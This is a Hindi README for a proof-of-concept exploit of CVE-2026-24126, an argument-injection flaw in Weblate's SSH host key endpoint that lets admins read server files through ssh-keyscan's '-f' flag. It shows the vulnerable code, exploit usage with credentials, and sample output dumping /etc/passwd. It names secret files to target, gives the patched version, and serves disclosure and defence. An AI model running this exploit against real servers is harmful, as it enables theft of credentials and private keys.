
CVE-2026-24126 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, Weblate में SSH होस्ट तर्क इंजेक्शन के माध्यम से एक मनमाना फ़ाइल पठन, जो प्रमाणित व्यवस्थापकों को सर्वर फ़ाइलें पढ़ने की अनुमति देता है।
खोजकर्ता: Alejandro Baño · जनवरी 2026 स्वीकृत: Weblate 5.16 रिलीज़ नोट्स
Weblate का SSH होस्ट कुंजी प्रबंधन एंडपॉइंट प्रमाणित व्यवस्थापक द्वारा प्रदान किए गए host पैरामीटर को सीधे ssh-keyscan को बिना किसी सैनिटाइज़ेशन या आर्गुमेंट सत्यापन के पास करता है। चूंकि ssh-keyscan होस्टनामों को फ़ाइल से पढ़ने के लिए -f <file> फ़्लैग स्वीकार करता है, एक हमलावर व्यवस्थापक क्रेडेंशियल्स के साथ उस फ़्लैग को होस्ट मान के रूप में इंजेक्ट कर सकता है और सर्वर को एक मनमाना स्थानीय फ़ाइल खोलने के लिए मजबूर कर सकता है। परिणामी त्रुटि आउटपुट (या stdout) त्रुटि संदेश ब्लॉक के अंदर ब्राउज़र में शब्दशः प्रतिबिंबित होता है, जिससे फ़ाइल की सामग्री लीक हो जाती है।
| फ़ील्ड | मान |
|---|---|
| लक्ष्य | Weblate (स्व-होस्टेड इंस्टेंस) |
| घटक | SSH कुंजी प्रबंधन — weblate/ssh/views.py · add_host_key() |
| प्रमाणीकरण आवश्यक | हाँ — Weblate व्यवस्थापक खाता |
| प्रभावित संस्करण | सभी संस्करण ≤ 5.15.2 (5.0.2 और 5.15.2 में परीक्षण किया गया) |
| प्रभाव | वेब-सर्वर प्रक्रिया उपयोगकर्ता (weblate, www-data आदि) के रूप में मनमाना स्थानीय फ़ाइल पठन |
| CVSS v3 | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L |
| CVE | CVE-2026-24126 |
# weblate/ssh/views.py — सरलीकृत
def add_host_key(request, host, port=""):
cmdline = ["ssh-keyscan"]
if port:
cmdline.extend(["-p", str(port)])
cmdline.append(host) # ← host बिना किसी सत्यापन के जोड़ा गया है
result = subprocess.run(cmdline, ...)
host मान सीधे POST बॉडी फ़ील्ड host से आता है, बिना किसी अनुमतिसूची, अग्रणी डैश को हटाने, या उपयोगकर्ता-आपूर्ति मान से पहले -- आर्गुमेंट टर्मिनेटर के। यह एक हमलावर को किसी भी ssh-keyscan फ़्लैग को इंजेक्ट करने की अनुमति देता है।
ssh-keyscan -f /etc/passwd /etc/passwd को होस्टनामों की सूची के रूप में पढ़ता है, प्रत्येक पंक्ति को हल करने में विफल रहता है, और प्रत्येक के लिए त्रुटि आउटपुट उत्पन्न करता है। वह त्रुटि आउटपुट CalledProcessError हैंडलर के माध्यम से प्रसारित होता है और HTTP प्रतिक्रिया में alert-danger ब्लॉक के अंदर प्रदर्शित होता है।
python3 exploit.py -r https://target.example.com -u admin -p admin123 -f /etc/passwd
| फ़्लैग | विवरण |
|---|---|
-r / --rhost | Weblate इंस्टेंस का आधार URL |
-u / --username | व्यवस्थापक उपयोगकर्ता नाम |
-p / --password | व्यवस्थापक पासवर्ड |
-f / --file | सर्वर पर पढ़ने के लिए फ़ाइल का पथ |
python3 CVE-2026-24126.py -r http://localhost -u admin -p 'ChangeThisToAStrongPassword' -f /etc/passwd
[+] उपयोगकर्ता के लिए लॉगिन सफल: admin
[*] http://localhost/manage/ssh/ पर पेलोड भेजा जा रहा है, इसमें कुछ समय लग सकता है, कृपया धैर्य रखें...
[+] निकाली गई फ़ाइल सामग्री:
--------------------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
weblate:x:1000:1000::/home/weblate:/bin/sh
--------------------------------------------------
[!] एक्सप्लॉइट समाप्त
Weblate चलाने वाले OS उपयोगकर्ता (आमतौर पर weblate उपयोगकर्ता) द्वारा पठनीय कोई भी फ़ाइल एकल प्रमाणित POST अनुरोध के माध्यम से बाहर निकाली जा सकती है। संवेदनशील लक्ष्यों में शामिल हैं:
settings.py, .env, local_settings.py/var/lib/weblate/.ssh/id_rsaWeblate 5.16.0 या बाद के संस्करण में अपडेट करें। यह Weblate टीम द्वारा 18 फरवरी, 2026 को जारी आधिकारिक फिक्स है, जिसने SSH होस्ट फ़ील्ड पर उचित इनपुट सत्यापन पेश किया।
यह रिपॉजिटरी शैक्षिक और अधिकृत सुरक्षा अनुसंधान के लिए है। इस टूल का उपयोग उन प्रणालियों के विरुद्ध न करें जिनके स्वामी आप नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति नहीं है। लेखक दुरुपयोग के लिए कोई दायित्व नहीं मानता है।